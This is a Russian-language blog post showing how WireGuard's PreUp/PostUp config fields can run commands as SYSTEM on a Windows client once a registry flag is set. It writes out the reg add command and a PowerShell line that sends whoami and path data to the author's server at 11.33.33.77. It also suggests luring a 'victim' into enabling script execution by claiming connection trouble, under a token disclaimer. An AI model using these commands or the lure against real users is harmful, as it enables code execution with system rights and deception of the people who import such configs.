Опубликовано: Ср 01 Январь 2025
Написал Alex
В Дырочки .
Теги: WireGuard ACE Уязвимости VPN
И так, есть у нас такой VPN как WireGuard , у него есть клиентские конфиг файлы которые юзеры импортируют в свои клиенты и получают защищенные тоннели прямиком в Гиперборею.
Есть ещё такой тип уязвимостей как ACE (arbitrary code execution) или же произвольное выполнение кода, в нашем случае это скорее не уязвимость а возможность но суть примерно та же.
Есть в этом конфиге такие поля как: PreUp, PostUp, PreDown, PostDown , в них мы можем указать скрипты которые будут исполнены перед/после подключения так и перед/после отключения, это может использоваться для инициализации каких то важных вещей, разрешение внешних подключений фаерволом итд..
Пример дефолтного конфига:
[Interface]
PrivateKey = VerySecretData31337
Address = 10.8.0.3/24
DNS = 1.1.1.1
[Peer]
PublicKey = VerySecretData31337
PresharedKey = VerySecretData31337
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = 13.37.13.37:31337
К интерфейсу мы можем прописать поле PreUp и в нем что-то выполнить! Но тут нас может ждать разочарование в виде запрета клиента на исполнение скриптов .(
Тестить всё буду на Windows клиенте.
и вот что видим
Для того чтобы заставить клиент выполнять наши хотелки надо изменить политику клиента, для этого надо создать в реестре по пути HKEY_LOCAL_MACHINE\SOFTWARE папку WireGuard и создать DWORD переменную с именем DangerousScriptExecution и значением 1 . Всё это можно сделать одной командой:
reg add HKLM\Software\WireGuard / v DangerousScriptExecution / t REG_DWORD / d 1 / f
Понятное дело что для правки реестра на ветке HKEY_LOCAL_MACHINE надо права админа.. но об этом чуть позже.
Теперь как видим скрипты разрешены:
Пропишем в PreUp выполнение PowerShell команды с задержкой чтобы детально проанализировать процесс:
powershell -Command "& {sleep 30}"
И активируем наш тоннель:
Активация у нас повиснет на 30 секунд ибо мы выполняем PreUp , я воспользовался System Informer (Экс Process Hacker) для просмотра процессов, как видим у нас появился родительский процесс cmd.exe который выполнил нашу команду (скрипт) и запустил powershell.exe. Самое главное это пользователь под которым выполняется наш скрипт NT AUTHORITY\SYSTEM , думаю не нужно объяснять что это означает.
Давайте ещё выполним запрос на наш сервер чтобы ещё раз удостовериться что мы можем творить с хостом, выполним:
powershell -Command "& { $w = whoami ; $p =( pwd ). Path ; IWR http :// 11.33 . 33.77 : 31337 / WHOAMI / $w / PWD / $p } "
Тут мы просто делаем GET запрос на наш же VPN сервер по которому ведёт конфиг, и путями передаем значения whoami и (pwd).Path .
На сервере откроем порт 31337 на входящие подключения и запустим простенький web-сервер на Python:
sudo ufw allow 31337 /tcp
sudo python3 -m http.server 31337
Вот что будет выполнятся у клиента:
А вот что мы видим на сервере:
Мы NT AUTHORITY\SYSTEM и находимся в C:/Windows/system32 .
В целом всё довольно просто но в тоже время заставить юзера выполнить что-то в консольке тоже сложно, можно для заманки писать что могут быть траблы с подключением ибо бла бла.. wg что-то там обновили, можно даже как то сделать типа.. изначально в конфиге будет ложная инфа для подключения а скрипт её подтянет из сервера, собсна без скриптов наш Victim не получит доступа к стране чудес и задумается над тем чтобы послушаться совета, и это можно решить введя в консоль/Run бла бла:
reg add HKLM\Software\WireGuard / v DangerousScriptExecution / t REG_DWORD / d 1 / f
Автор статьи конечно же не поддерживает подобное использование данной информации, все ваши действия на вашей совести!
Вообще реализация Windows клиента WireGuard очень интересная, написан на Golang, как гуй так и драйвер для создания виртуального сетевого адаптера, рекомендую к изучению .
Возможности выполнения скриптов есть не только в WireGuard, например вот в OpenVPN вместо PreUp/PreDown используются up/down, думаю тему стоит изучать учитывая современные реалии.